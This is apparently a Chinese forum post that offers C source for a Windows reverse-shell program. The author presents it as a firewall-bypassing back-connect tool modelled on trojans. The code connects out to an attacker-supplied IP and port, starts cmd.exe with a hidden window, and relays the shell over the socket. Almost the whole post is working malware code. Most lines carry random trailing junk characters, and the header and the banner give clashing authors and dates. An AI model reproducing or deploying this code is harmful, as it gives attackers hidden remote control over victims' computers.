这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Kl'u
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/* ============================== ;u(#-C2^{l
Rebound port in Windows NT *]7$/%.D
By wind,2006/7 Cr7T=&L
===============================*/ 6YHQ/#'G~
#include 5 O't-'
#include .jXD0~N8q
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#pragma comment(lib,"wsock32.lib") rN3qTp
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void OutputShell(); @#j?Z7E|
SOCKET sClient; #`HY"-7m_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9a6ij*#
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void main(int argc,char **argv) rWP
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{ o]@Mg5(8Q
WSADATA stWsaData; Q)IL]S
int nRet; !y$:}W?_
SOCKADDR_IN stSaiClient,stSaiServer; CE|iu!-4
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if(argc != 3) FxFRrRRH@
{ up@I,9C/
printf("Useage:\n\rRebound DestIP DestPort\n"); j; MQ_?"iN
return; L0Ycf|[s,
} iwXMe(k
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1_jd1UT
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N^TE
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stSaiClient.sin_family = AF_INET; '!DS3zEeLS
stSaiClient.sin_port = htons(0); joRrsxFU
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NQmdEsK
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^[6S]Ft(
{ W5^<4Ya!
printf("Bind Socket Failed!\n"); ${F4x "x
return; +F4SU(T
} jU9\BYUg
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stSaiServer.sin_family = AF_INET; [0?W>A*h
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lVYrP|#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E*Z # fa
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @}<b42
{ S]x\Asj;w
printf("Connect Error!"); T&q0TBT
return; \3WQ<t)W
} s# 9*`K
OutputShell(); aGml!N5'
} -<{;.~nI.
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void OutputShell() +B&,$ceyaJ
{ 9 S4bg7
char szBuff[1024]; 2X,`t%o
SECURITY_ATTRIBUTES stSecurityAttributes; KNG7$icG
OSVERSIONINFO stOsversionInfo; t)l
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IZs NMY
STARTUPINFO stStartupInfo; XCd[<\l
char *szShell;
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PROCESS_INFORMATION stProcessInformation; ):-Ub4A\
unsigned long lBytesRead; *A([1l&]i
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mHF?t.y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %F}i2!\<L
stSecurityAttributes.lpSecurityDescriptor = 0; l<)k`lrMX4
stSecurityAttributes.bInheritHandle = TRUE; od-yVE&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +pY--5t
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "j/jhe6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c0v6*O)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $1uT`>%
stStartupInfo.wShowWindow = SW_HIDE; HZ[.,DuW
stStartupInfo.hStdInput = hReadPipe; K"/3/`T
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )>(ZX9diV
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GetVersionEx(&stOsversionInfo); XI\P#"
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switch(stOsversionInfo.dwPlatformId) 'w8p[h
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{ OsV'&@+G>
case 1: Y[rRz6.*(
szShell = "command.com"; FaLc*CU
break; s4[PwD
default: A&S n^mw
szShell = "cmd.exe";
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break; c->.eL%
} /^sk y!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w2) @o>w
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send(sClient,szMsg,77,0);
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while(1) -oT3`d3
{ 2C AR2V|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .$ X|96~$
if(lBytesRead) FEA t6
{ }u]7 x:lh
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); KP&$Sl
send(sClient,szBuff,lBytesRead,0); =`ECM7
} Ku?1QDhrF*
else rcz9\@M
{ vMzBp#MT
lBytesRead=recv(sClient,szBuff,1024,0); i :|e#$x
if(lBytesRead<=0) break; UuCRQN H
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2QgD<
} 9/h[(qvT
} >0JCu^9
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return; Al+}4{Q+?
}